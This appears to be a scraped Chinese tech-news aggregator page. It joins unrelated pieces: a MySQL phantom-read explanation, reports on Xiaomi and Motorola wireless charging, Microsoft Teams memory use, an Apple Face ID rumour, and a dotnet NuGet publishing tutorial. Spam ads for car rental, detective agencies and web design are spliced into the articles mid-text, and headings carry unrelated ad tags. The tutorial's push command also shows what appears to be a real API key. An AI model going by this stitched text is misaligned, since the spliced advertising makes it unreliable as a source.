如果我們不在一開始將將隔離級別設置為提交讀,其實是不會產生幻讀問題的,因為MySQL的默認隔離級別是可重複讀,在這種情況下,我們執行第一次 SELECT...FOR UPDATE查詢語句是,其實是會先申請行鎖,因為一開始數據庫就只有a:4一行數據,那麼加鎖區間其實是

(負無窮,4](4,正無窮)

我們查詢條件是a>2,上面兩個加鎖區間都會可能有數據滿足條件,所以會申請行鎖中的next-key lock,是會對上面這兩個區間都加鎖,這樣其他事務不能往這兩個區間插入數據,事務B會執行插入時會一直等待獲取鎖,直到事務A提交,釋放行鎖,事務B才有可能申請到鎖,然後進行插入。這樣就解決了幻讀問題。

如果大家對行鎖了解得比較少,下一期會對innodb中的鎖進行介紹。

最後

大家有什麼想法,可以一起討論!本文已收錄到1.1K Star數開源學習指南——《大廠面試指北》,如果想要了解更多大廠面試相關的內容,了解更多可以看
http://notfound9.github.io/interviewGuide/#/docs/BATInterview

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

小米隔空充電技術正式發表:手持也能隔空充電,「真」無線充電時代來臨!_如何寫文案

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

近年,無論是有線快充或者擺放在無線充電器,各手機品牌陸續展示更快的充電技術。然而有線充電雖然速度最快,不過必須將手機透過充電線與充電器的連接,在充電期間若想繼續使用手機,就得被線材限制行動範圍。而目前的無線充電技術,則得將手機擺放在無線充電器的充電區域才能充電。
稍早小米也正式發表自研的「隔空充電技術」,如同科幻電影一樣未來使用者即便拿著手機在客廳,也能直接隔空為手機進行充電。

小米隔空充電技術正式發表:手持也能隔空充電,「真」無線充電時代來臨!

即便目前的「無線充電技術」讓使用者能將支援無線充電技術的手機擺放在無線充電器的充電感應區進行充電,對於多數人而言已經相當方便,但終究還是得將手機限制在特定的充電位置,對於「無線」的真正定義還是差了那麼一步的感覺。
稍早小米正式發表的「隔空充電技術」也將是未來充電的趨勢。用戶將不需要任何充電線、充電底座,無論是將手機拿在手上、放在口袋,只要在特定範圍內都能實現自動隔空充電。

據小米的說明, 小米隔空充電系統的技術核心在於空間定位和隔空能量傳輸。在小米自研的隔空充電樁內建 5 個相位干涉天線,可以對手機進行毫秒級空間定位精準偵測手機位置。另外,搭載 144 個天線構成的相位控制陣列,再通過波束成行將毫米波定位發射給手機。

在手機端,小米也自研天線陣列的小型化設計,內建「信號天線」和「接收天線陣列」。信號天線通過低功耗方式在空間範圍內廣播位置資訊。另外, 14 根天線組成的天收天線陣列,則將充電樁發射的毫米波信號通過整流電路轉化為電能,最終實現以前我們在科幻電影才能看到的隔空充電。

目前小米展示的隔空充電技術,已經能實現對於數公尺半徑內每個單一設備 5W 的遠距離充電。

不僅如此,如果同時有多支手機要同時使用小米隔空充電,每台設備也都能支持 5W 的充電功率。

就算被物體遮擋住也能不影響充電效率:

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

在充電範圍內,用戶無論是手持上社群聊天或一邊看影片、玩遊戲,甚至是一邊走動狀態也能保持手機處於充電狀態:

除了手機,小米也預告不久後隔空充電技術還可為智慧手錶、手環等穿戴裝置進行隔空充電。未來在客廳包括音箱、檯燈等小型智慧家電產品,也都能實現無線供電,這也將徹底擺脫電線束縛,真正實現客廳的無線化時代。

完整影片

圖片/消息:小米手機(微博)|雷軍(微博)

延伸閱讀:
小米11 國際版通過 NCC 認證,近期有望正式發表並於未來在台開賣!

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。

不只是小米,Motorola 也展示自家隔空充電技術,只是有些限制.._網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

看過小米隔空充電技術的朋友,應該會覺得也太讚了,未來只要在特定範圍內,就能實現自動充電,不用再靠有線還是放在某個無線充電板。事實上除了小米之外,另一間 Motorola 稍早也發表自家隔空充電技術,跟小米有點類似,確實可以做到隔空充電,但目前看起來似乎有一些限制在。

Motorola 展示自家隔空充電技術

Motorola 這次發表的隔空充電技術,根據影片說明,可以在一公尺以內的距離內實現,他們拿兩支 Motorola Edge 手機進行測試,一開始都沒有在充電:

其中一台放在 100 公分的位置之後,手機畫面就會顯示正在充電:

另一台則放在近一點的 80 公分之處,一樣會變成正在充電:

不過跟小米不同,Motorola 現在的隔空充電技術不能被任何東西阻擋,要不然會失效,影片中也示範將手放在隔空充電裝置(One Hyper)前方,兩支手機就立刻變成無充電:

據說最多能實現 7 台手機同時充電,不過細節部分官方就沒有詳細說明,如:充電瓦數是多少、每一台獲得的充電速度是否一樣等等。

小米的隔空充電技術不會受到物體阻擋,且每一台都保證可獲得 5W 充電速度,因此整體來看目前小米的好像比較好一些。另外 Motorola 擺放手機的位置是在隔空充電裝置前方,因此也不確定是否有方向限制,如果有的話那使用性就會大幅受限。

完整影片,未來 Motorola Edge 系列有可能都會加入此充電技術:

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

 

隨著小米、Motorola 都發表自己的隔空充電技術,沒意外今年應該還會看到更多廠商也加入此行列。

未來不只是手機,其他科技產品也有機會支援此技術,變成以後所有東西都不用再煩惱充電問題,放在範圍內就會不斷的充電,光想就讓人很期待。

不過話說回來,雖然這技術真的很讚很方便,但對健康會不會造成任何影響,相信也是很多人非常關心的一點,這只能等之後的研究報告了。

資料來源:微博

真是 GaN!最迷你 105W 氮化鎵快充 Allite A2 開箱,超高充電效率超小體積(同場加映 Switch 最佳配件 Allite B1 20W)

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

因為疫情的關係,迫使許多專業工作者必須在加工作,也讓各家通訊工具在這低迷的時局中大放光彩。Microsoft Teams 是微軟近幾年來重點推廣的通訊工具,因為有豐富多元的協作能力與各種資源的整合調用,使得許多企業將它視為團對聯繫首選,但它也並不是只好不壞,記憶體大量佔用就是它最為人所詬病的問題。

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題

Microsoft Teams 是目前最流行的商務通訊工具之一,但它同時也是對記憶體需求最大的應用程式之一,這表示若用戶的電腦規格較低的話,在使用這款應用程式時可能會遇到一些困難,使得無法同時運作其他應用程式。這個問題在微軟與 UserVoive 合作的平台上已經有許多用戶反應此問題,甚至有用戶表示光是 Teams 就能讓他 4GB 記憶體的電腦卡住不順,致使他別無選擇只能另覓蹊徑。

好消息是微軟已經開始努力解決這個問題,同樣在 Microsoft Teams 在 UserVoice 網頁上,微軟表示目前政治力於使 Teams 成為一個對記憶體需求較少的應用程式,而這也是一直以來最多用戶提出的希望。通常來說,Microsoft Teams 會在電腦中佔用 350 – 500MB 的記憶體資源,遠遠高過其他主流通訊工具,雖說目前還不知道會從改善到什麼程度,但很快地大家就能收到這樣的更新了。

工具中的功能多,對用戶來說極為便利,特別是 Microsoft Teams 中具有最大彈性的空間能夠工企業用戶發展成類似客製化的溝通利器,但同時也必須要設想到並非所有用戶的設備都足夠強大來運行,畢竟身為通訊工具本身屬於常駐程式(並非要用才打開,隨時都必須開著),倘若因為開著通訊工具就使得其他作業卡頓,那反而本末倒置了。

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

◎資料來源:MSPoweruser

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

戴著口罩無法顏面辨識 傳蘋果將在新機合併Face ID與Toch ID_租車

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

由於武漢肺炎肆虐的關係,口罩基本上已經變成生活的標準配備,許多人出門就是把口罩戴的緊緊的。雖然在健康上提升了不少安全,但是對於那些仰賴顏面辨識的手機來講,就添增不少困擾,不少人要解鎖手機的時候,都還得拉下口罩,著實有點不方便。而近日傳出,蘋果官方似乎打算在新一代的iPhone中,將原本的Touch ID與Face ID做個合併,讓大家可以更輕鬆的幫手機解鎖。

↑口罩的佩戴,真的造成許多顏面辨識功能無法使用。(示意圖/pixabay)

根據《9to5mac》報導指出,其實蘋果對於合併Touch ID與Face ID這事情,已經計畫了好幾年。但由於螢幕限制的關係,這個想法一直沒辦法付諸實行。而在1月中旬時,《彭博社》報導指出,蘋果目前正在開發「螢幕指紋辨識器」,似乎是有意思將Toch ID重新回歸市場。而在報導中指出,這款具備Touch ID與Face ID的iPhone即將上市。

 

再根據《華爾街日報》報導指出,有兩名蘋果的前員工表示,蘋果內部一直在進行螢幕指紋辨識器的研究,並且明確的考慮在一個設備上「同時安裝Touch ID與Face ID」。

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

 

《9to5mac》認為,在今年的iPhone新機上,應該不用太過期待會有亮眼的新功能,所以像是「Touch ID與Face ID」這樣同步合併的新功能,會變成一個不錯的選項,尤其武漢肺炎看樣子在今年應該無法歇息,所以這樣的功能應該也會受到使用者的歡迎。同時,《9to5mac》表示,今年的iPhone有可能會移除Lightning插孔,變成使用USB Type-C來取代。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

使用dotnet Cli向nuget發布包_如何寫文案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

長話短說, 今天分享如何在nuget.org創建併發布.NET Standard package。

前置

  1. 安裝勾選.NET Core開發套件的Visual Studio; 安裝dotnet Cli

從VS2017開始,dotnet Cli已經自動在.NET開發套件中被安裝;
使用SDK-style format(SDK屬性)的.NET Standard項目需要dotnet Cli;nuget.exe Cli用於非SDK樣式的項目(通常是.NET Framework)。

  1. 創建.NET Standard庫項目

配置package屬性

  1. 項目右鍵,選擇屬性—>打包
    打包面板只會出現在VSSDK-style項目,典型如.NET Standard或者.NET Core庫項目。

構建時生成Nuget包:顧名思義,除打包命令,構建時也會自動生成nuget包;
標記:幫助其他人定位你的包,了解包的能力。

  1. 給package設定一個唯一id,並填寫其他屬性。注意這個package id需要在nuget.org全站唯一,我們建議你使用包前綴名來避免重複,比如: ${UserName}.PackageName

打包

  1. 將配置改為Release
  2. 右鍵項目–> 打包

如果你沒有看到打包命令,你的項目可能不是SDk-style風格的項目,這是要使用
nuget.exe Cli(或者遷移到SDK-style項目,再使用dotnet Cli)。

  1. Visual Studio構建項目並創建.nupkg文件,插看輸出窗體,獲取包文件的路徑。

發布包

有了.nupkg文件,你可以從nuget.org獲取一個API key(這個Key標記了你這個nuget賬戶),結合dotnet cli發布包。

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

獲取API Key

  1. 登陸nuget.org賬戶
  2. 點擊右上角你的賬戶名字,選擇API keys
  3. 創建—> 選擇範圍–> Push, 在Glob pattern填入*
  4. 一旦生成key,Copy並儘早保存key,這個key將在dotnet Cli命令中用到

儘快保存你的key,如果你再次返回這個頁面,你需要重新生成key並Copy.

發布包

轉到包含.nupkg文件的目錄,執行下面命令

dotnet nuget push AppLogger.1.0.0.nupkg -k qz2jga8pl3dvn2akksyquwcs9ygggg4exypy3bhxy6w6x6 -s https://api.nuget.org/v3/index.json

显示如下結果:

info : Pushing AppLogger.1.0.0.nupkg to 'https://www.nuget.org/api/v2/package'...
info :   PUT https://www.nuget.org/api/v2/package/
info :   Created https://www.nuget.org/api/v2/package/ 12620ms
info : Your package was pushed.

推送命令中的錯誤通常指示問題原因,如:

  • 您可能忘記了更新項目中的版本號,而嘗試發布同簽名軟件包。
  • 您嘗試使用主機上已存在的包標記符發布程序包時,也會看到錯誤:名稱“ AppLogger”已經存在。
Response status code does not indicate success: 403 (The specified API key is invalid,
has expired, or does not have permission to access the specified package.).

如果您確認使用的是有效API key,則此錯誤提示不準確,實際錯誤是命名衝突
更改程序包標識符,重建項目,重新產生.nupkg文件,然後重試push命令。
以上便是向nuget發布包的主要過程。

其他一些包管理的操作,請在nuget包管理中心倒騰

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。